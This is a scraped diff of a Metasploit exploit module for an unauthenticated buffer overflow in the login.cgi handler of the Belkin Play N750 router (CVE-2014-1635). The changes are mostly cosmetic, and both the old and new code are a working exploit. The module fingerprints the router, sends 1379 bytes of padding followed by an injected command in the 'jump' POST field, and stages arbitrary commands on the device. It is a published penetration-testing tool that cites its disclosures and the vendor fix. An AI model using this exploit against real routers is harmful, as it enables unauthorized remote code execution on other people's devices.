6
6
require 'msf/core'
7
7
8
8
class Metasploit3 < Msf ::Exploit ::Remote
9
- Rank = ManualRanking
9
+ Rank = NormalRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
12
include Msf ::Exploit ::CmdStager
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
16
- 'Name' => 'Belkin login.cgi Buffer Overflow (minhttpd) ' ,
16
+ 'Name' => 'Belkin Play N750 login.cgi Buffer Overflow' ,
17
17
'Description' => %q{
18
- This module exploits a remote buffer overflow vulnerability on several Belkin routers.
19
- The vulnerability exists in the handling of HTTP queries to the login.cgi with
20
- long jump values. The vulnerability can be exploitable without authentication.
21
- This module was tested in an emulated environment only. Several Belkin routers with
22
- firmware 1.10.16.m are affected .
18
+ This module exploits a remote buffer overflow vulnerability on Belkin Play N750 DB
19
+ Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling
20
+ of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing
21
+ remote unauthenticated attackers to execute arbitrary code. This module was tested in
22
+ an emulated environment, using the version 1.10.16.m of the firmwarey .
23
23
} ,
24
24
'Author' =>
25
25
[
26
- 'Marco Vaz <mv[at]integrity.pt>' , # Vulnerability discovery and initial Metasploit module (telnetd)
27
- 'Michael Messner <devnull[at]s3cur1ty.de>' , # Metasploit module with echo stager
26
+ 'Marco Vaz <mv[at]integrity.pt>' , # Vulnerability discovery and msf module (telnetd)
27
+ 'Michael Messner <devnull[at]s3cur1ty.de>' , # msf module with echo stager
28
28
] ,
29
29
'License' => MSF_LICENSE ,
30
30
'Platform' => [ 'linux' ] ,
@@ -35,33 +35,39 @@ def initialize(info = {})
35
35
[ 'EDB' , '35184' ] ,
36
36
[ 'BID' , '70977' ] ,
37
37
[ 'OSVDB' , '114345' ] ,
38
- [ 'URL' , 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/' ] , #advisory
39
- [ 'URL' , 'http://www.belkin.com/us/support-article?articleNum=4831' ] #vendor site with update
38
+ [ 'URL' , 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/' ] ,
39
+ [ 'URL' , 'http://www.belkin.com/us/support-article?articleNum=4831' ]
40
40
] ,
41
41
'Targets' =>
42
42
[
43
43
[ 'Belkin Play N750 DB Wireless Dual-Band N+ Router, F9K1103, firmware 1.10.16.m' ,
44
44
{
45
- 'Offset' => 1379 ,
45
+ 'Offset' => 1379 ,
46
46
}
47
47
]
48
48
] ,
49
- 'DefaultOptions' => {
50
- 'RPORT' => 8080
51
- } ,
52
- 'DisclosureDate' => 'May 09 2014' ,
53
- 'DefaultTarget' => 0 ) )
49
+ 'DefaultOptions' =>
50
+ {
51
+ 'RPORT' => 8080
52
+ } ,
53
+ 'DisclosureDate' => 'May 09 2014' ,
54
+ 'DefaultTarget' => 0 ) )
54
55
deregister_options ( 'CMDSTAGER::DECODER' , 'CMDSTAGER::FLAVOR' )
55
56
end
56
57
57
58
def check
58
59
begin
59
60
res = send_request_cgi ( {
60
61
'method' => 'GET' ,
61
- 'uri' => "/"
62
+ 'uri' => '/'
62
63
} )
63
64
64
- if res && [ 200 , 301 , 302 ] . include? ( res . code ) and res . headers [ "Server" ] and res . headers [ "Server" ] =~ /minhttpd/ and res . body =~ /u_errpaswd/
65
+ if res &&
66
+ [ 200 , 301 , 302 ] . include? ( res . code ) &&
67
+ res . headers [ 'Server' ] &&
68
+ res . headers [ 'Server' ] =~ /minhttpd/ &&
69
+ res . body =~ /u_errpaswd/
70
+
65
71
return Exploit ::CheckCode ::Detected
66
72
end
67
73
rescue ::Rex ::ConnectionError
@@ -82,26 +88,25 @@ def exploit
82
88
execute_cmdstager (
83
89
:flavor => :echo ,
84
90
:linemax => 200 ,
85
- :concat_operator => " ; "
91
+ :concat_operator => ' ; '
86
92
)
87
93
end
88
94
89
95
def prepare_shellcode ( cmd )
90
- shellcode = rand_text_alpha_upper ( target [ 'Offset' ] ) # padding
91
- shellcode << "e" << cmd
96
+ shellcode = rand_text_alpha_upper ( target [ 'Offset' ] )
97
+ shellcode << 'e' << cmd
92
98
shellcode << "\n \n "
93
99
end
94
100
95
101
def execute_command ( cmd , opts )
96
102
shellcode = prepare_shellcode ( cmd )
97
103
begin
98
104
res = send_request_cgi ( {
99
- 'method' => 'POST' ,
100
- 'uri' => "/login.cgi" ,
101
- 'encode_params' => true ,
105
+ 'method' => 'POST' ,
106
+ 'uri' => '/login.cgi' ,
102
107
'vars_post' => {
103
- 'GO' => '' ,
104
- 'jump' => shellcode ,
108
+ 'GO' => '' ,
109
+ 'jump' => shellcode ,
105
110
}
106
111
} )
107
112
return res
0 commit comments